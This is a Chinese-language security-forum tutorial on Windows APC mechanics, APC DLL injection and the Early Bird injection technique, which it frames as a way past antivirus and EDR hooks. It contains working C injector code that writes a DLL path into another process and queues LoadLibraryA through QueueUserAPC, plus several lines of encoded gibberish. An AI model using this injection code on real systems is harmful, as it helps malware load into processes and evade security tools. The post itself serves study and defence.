根据 MSDN 上的定义, APC(Asynchronous Procedure Call 异步过程调用)是在特定线程的上下文中异步执行的函数。具体来说,每个 APC 函数是与特定线程相关联的,每个线程有 APC 队列,存储着 APC 函数。但这并不是说线程被创建和执行了, APC 就一定会被调用。一般情况下,用户态线程调用 APC 函数要具备两个条件:
(本文暂不讨论内核态的 APC)
线程在调用 SleepEx
,SignalObjectAndWait
, MsgWaitForMultipleObjectsEx
,WaitForMultipleObjectsEx
或WaitForSingleObjectEx
函数时进入可警告状态。
与用户态APC相关的函数只有一个:QueueUserAPC
。QueueUserAPC
函数允许将一个用户定义的函数添加到指定线程对应的APC队列中。
先进先出,即先被加入 APC 队列的函数会在线程处于可警告状态时,会先被执行。下面有一个小的测试程序
运行结果如下图所示:

如果删掉SleepEx(INFINITE, TRUE)
,线程不处于可警告状态, 那么两个 APC 函数就不会被调用,运行结果如下图所示:

APC注入是利用Windows的异步过程调用机制 APC,将代码注入到目标线程的APC队列。当线程进入可警告状态(如调用SleepEx)时,系统会执行APC队列中的函数,从而实现代码注入。
将下面代码编译成APCTest.exe
程序在主线程启动后,一直处于可警告状态,方便注入。
为了让代码简洁一点,就直接根据由 PCHunter 的APCTest.exe
进程 PID 获取进程句柄,根据线程 ID 获取线程句柄。
运行结果如下图所示:

PCHunter 查看运行的APCTest.exe
进程模块中多了注入的 MyDll.dll。 
反病毒软件和 EDR 等安全产品通过 Hook 关键的 Windows API(如 CreateProcess
、CreateRemoteThread
、LoadLibrary
等)来监控和拦截可疑的代码注入行为。为了规避上述安全机制,Early Bird 注入(早鸟注入)应运而生。它的核心目标是在目标进程初始化阶段,安全机制尚未完全加载或生效时,完成代码注入。伊朗黑客组织 APT33 利用该项注入技术将 TrunedUp 恶意软件植入受感染系统内部,并绕过反病毒软件工具。2018年4月11日,网络安全公司 Cyberbit 的研究人员发表了一篇名为 《New ‘Early Bird’ Code Injection Technique Discovered》 的文章,详细分析了 Early Bird 注入的原理和实现。
Early Bird 注入是指一种利用Windows进程创建机制进行代码注入的技术。其原理是在目标进程的主线程开始执行之前,将代码注入到进程中。具体步骤包括:
这种方法隐蔽性高,适用于新创建的进程。下面就介绍如何使用APC机制进行Early Bird 注入。
那么问题来了,当线程处于可警告状态时,才会调用 APC 函数。进程刚创建、 线程初始化时也没有调用 SleepEx()之类的函数,线程是不是处于可警告状态呢?
答案是肯定的。
线程初始化时会调用位于内核模块 ntoskrnl.exe 中的PspUserThreadStartup函数,该函数负责初始化用户态线程的上下文,并最终将控制权交给用户态代码,具体来说是函数LdrInitializeThunk。
LdrInitializeThunk调用ntdll中的ZwTestAlert,ZwTestAlert调用KeTestAlertThread。用Source Insight查看WRK中的KeTestAlertThread如下所示:
Thread->ApcState.UserApcPending 是一个标志,表示当前线程是否有待处理的用户态 APC。
当这个标志为 TRUE 时,线程会在以下情况下检查并执行 APC:
● 线程从内核态返回到用户态时。
● 线程调用某些允许 APC 执行的系统调用时(如 SleepEx、WaitForSingleObjectEx 等)。
当线程被创建时,其用户态 APC队列理论上为空。然而,在某些情况下,由于内核操作或之前的线程状态,可能会残留APC。ZwTestAlert的功能即是在线程初始化时检查并处理这些残留的APC,执行后清空队列。这一操作确保了线程以可预测的状态启动,避免残留APC对程序执行产生干扰,进而防止潜在的异常、崩溃或安全漏洞。
Early Bird注入正是利用这一机制,在线程初始化阶段注入代码,使注入的代码在主线程开始执行前运行。
运行结果如下图所示:


需要注意的是,注入的弹窗 DLL 运行后,需要点击“确定”关闭弹窗,记事本的窗口才会出现,这也证明了前面提到的,注入代码会在主线程开始执行前运行。
de3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6h3y4J5M7%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8U0t1H3x3e0l9`.
676K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6k6r3W2G2N6r3x3@1N6q4)9J5k6h3y4G2L8g2)9J5c8X3y4G2k6r3g2Q4x3X3c8S2L8X3c8Q4x3X3c8V1L8r3I4Q4x3X3c8H3M7X3!0U0k6i4y4K6i4K6u0V1K9h3&6B7k6h3y4@1K9h3!0F1i4K6u0r3k6h3q4J5L8s2W2Q4x3X3c8T1K9i4u0V1
1e2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4S2K6K9h3&6D9K9h3&6C8i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4x3K6V1K6y4U0l9I4x3K6l9`.
71dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3M7%4g2E0K9h3y4W2b7X3I4G2k6#2)9J5c8Y4m8Q4x3V1j5I4y4K6j5K6z5o6j5&6x3q4)9J5k6h3S2@1L8h3H3`.
736K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3L8%4u0#2L8g2)9J5k6h3u0#2N6r3W2S2L8W2)9J5k6h3&6W2N6q4)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3x3U0t1J5y4l9`.`.
03cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0P5h3u0W2M7X3u0A6N6q4)9J5k6h3y4G2L8g2)9J5c8X3g2F1k6s2m8G2K9h3&6@1i4K6u0V1M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6F1k6i4N6Q4x3X3c8W2j5i4u0D9P5g2)9J5k6r3u0A6M7X3c8Q4x3X3c8U0L8$3c8W2i4K6u0V1K9h3&6B7k6h3y4@1K9h3!0F1i4K6u0V1N6r3g2U0K9r3&6A6M7i4g2W2i4K6u0V1k6r3W2K6j5$3!0$3k6i4u0W2k6q4)9J5c8R3`.`.
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //指向一个APC函数
[in] HANDLE hThread, //将要插入APC的线程句柄,句柄必须具有 THREAD_SET_CONTEXT 访问权限。
[in] ULONG_PTR dwData //APC函数的参数
);
//如果该函数成功,则返回值为非零值。如果函数失败,则返回值为零。
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //指向一个APC函数
[in] HANDLE hThread, //将要插入APC的线程句柄,句柄必须具有 THREAD_SET_CONTEXT 访问权限。
[in] ULONG_PTR dwData //APC函数的参数
);
//如果该函数成功,则返回值为非零值。如果函数失败,则返回值为零。
#include <stdio.h>
#include <windows.h>
// APC 函数
VOID CALLBACK MyAPCProc1(ULONG_PTR dwParam) {
printf("MyAPCProc1已被调用: %lu\n", dwParam);
}
VOID CALLBACK MyAPCProc2(ULONG_PTR dwParam) {
printf("MyAPCProc2已被调用: %lu\n", dwParam);
}
int main() {
// 获取当前线程的 ID
DWORD threadId = GetCurrentThreadId();
// 打开当前线程 (实际上不需要打开,GetCurrentThreadId() 已经给我们了句柄)
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, threadId);
if (hThread == NULL) {
fprintf(stderr, "线程打开失败: %lu\n", GetLastError());
return 1;
}
// 将 APC 排队到当前线程
DWORD result1 = QueueUserAPC(MyAPCProc1, hThread, 123); // 123 是传递给 MyAPCProc1 函数的参数
if (result1 == 0) {
fprintf(stderr, "MyAPCProc1加入APC队列失败: %lu\n", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc1已被被加入到线程的APC队列中。\n");
DWORD result2 = QueueUserAPC(MyAPCProc2, hThread,456); // 456 是传递给 MyAPCProc2 函数的参数
if (result2 == 0) {
fprintf(stderr, "MyAPCProc2加入APC队列失败: %lu\n", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc2已被被加入到线程的APC队列中。\n");
printf("即将进入可警告状态 (SleepEx).\n");
// 进入可警告状态 (SleepEx), 这是 APC 执行所必需的
SleepEx(INFINITE, TRUE); // TRUE 表示进入可警告状态
// 即使线程进入可警告状态,APC函数也可能还未完成
CloseHandle(hThread);
printf("退出主线程\n");
return 0;
}
#include <stdio.h>
#include <windows.h>
// APC 函数
VOID CALLBACK MyAPCProc1(ULONG_PTR dwParam) {
printf("MyAPCProc1已被调用: %lu\n", dwParam);
}
VOID CALLBACK MyAPCProc2(ULONG_PTR dwParam) {
printf("MyAPCProc2已被调用: %lu\n", dwParam);
}
int main() {
// 获取当前线程的 ID
DWORD threadId = GetCurrentThreadId();
// 打开当前线程 (实际上不需要打开,GetCurrentThreadId() 已经给我们了句柄)
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, threadId);
if (hThread == NULL) {
fprintf(stderr, "线程打开失败: %lu\n", GetLastError());
return 1;
}
// 将 APC 排队到当前线程
DWORD result1 = QueueUserAPC(MyAPCProc1, hThread, 123); // 123 是传递给 MyAPCProc1 函数的参数
if (result1 == 0) {
fprintf(stderr, "MyAPCProc1加入APC队列失败: %lu\n", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc1已被被加入到线程的APC队列中。\n");
DWORD result2 = QueueUserAPC(MyAPCProc2, hThread,456); // 456 是传递给 MyAPCProc2 函数的参数
if (result2 == 0) {
fprintf(stderr, "MyAPCProc2加入APC队列失败: %lu\n", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc2已被被加入到线程的APC队列中。\n");
printf("即将进入可警告状态 (SleepEx).\n");
// 进入可警告状态 (SleepEx), 这是 APC 执行所必需的
SleepEx(INFINITE, TRUE); // TRUE 表示进入可警告状态
// 即使线程进入可警告状态,APC函数也可能还未完成
CloseHandle(hThread);
printf("退出主线程\n");
return 0;
}
#include <stdio.h>
#include <Windows.h>
int main()
{
while (1)
{
printf("小心注入\r\n");
SleepEx(1000, TRUE);
}
return 0;
}
#include <stdio.h>
#include <Windows.h>
int main()
{
while (1)
{
printf("小心注入\r\n");
SleepEx(1000, TRUE);
}
return 0;
}
#include <stdio.h>
#include <Windows.h>
int main()
{
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1111);//根据实际情况获取PID
if (!hProcess)
{
printf("进程打开失败\r\n");
return -1;
}
//打开线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 2222);//根据实际情况获取线程ID
if (!hThread)
{
printf("打开线程失败\r\n");
return -1;
}
//获取loadlibraryA
HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
printf("%x\r\n", func);
system("pause");
//给目标进程申请内存,存dll路径
PUCHAR targetMemory = (PUCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!targetMemory)
{
printf("申请内存失败\r\n");
return -1;
}
printf("targetMemony :%x\r\n", targetMemory);
system("pause");
//dll路径
char* dllpath = "C:\\Users\\finback\\Desktop\\MyDll.dll";
//给目标进程写内容
if (!WriteProcessMemory(hProcess, targetMemory, dllpath, strlen(dllpath) + 1, NULL))
{
printf("写入失败\r\n");
return -1;
}
QueueUserAPC((PAPCFUNC)func, hThread, (ULONG_PTR)targetMemory);
system("pause\r\n");
return 0;
}
#include <stdio.h>
#include <Windows.h>
int main()
{
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1111);//根据实际情况获取PID
if (!hProcess)
{
printf("进程打开失败\r\n");
return -1;
}
//打开线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 2222);//根据实际情况获取线程ID
if (!hThread)
{
printf("打开线程失败\r\n");
return -1;
}
//获取loadlibraryA
HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
printf("%x\r\n", func);
system("pause");
//给目标进程申请内存,存dll路径
PUCHAR targetMemory = (PUCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!targetMemory)
{
printf("申请内存失败\r\n");
return -1;
}
printf("targetMemony :%x\r\n", targetMemory);
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2025-3-5 12:10
被ZyOrca编辑
,原因: 调整排版,修正错误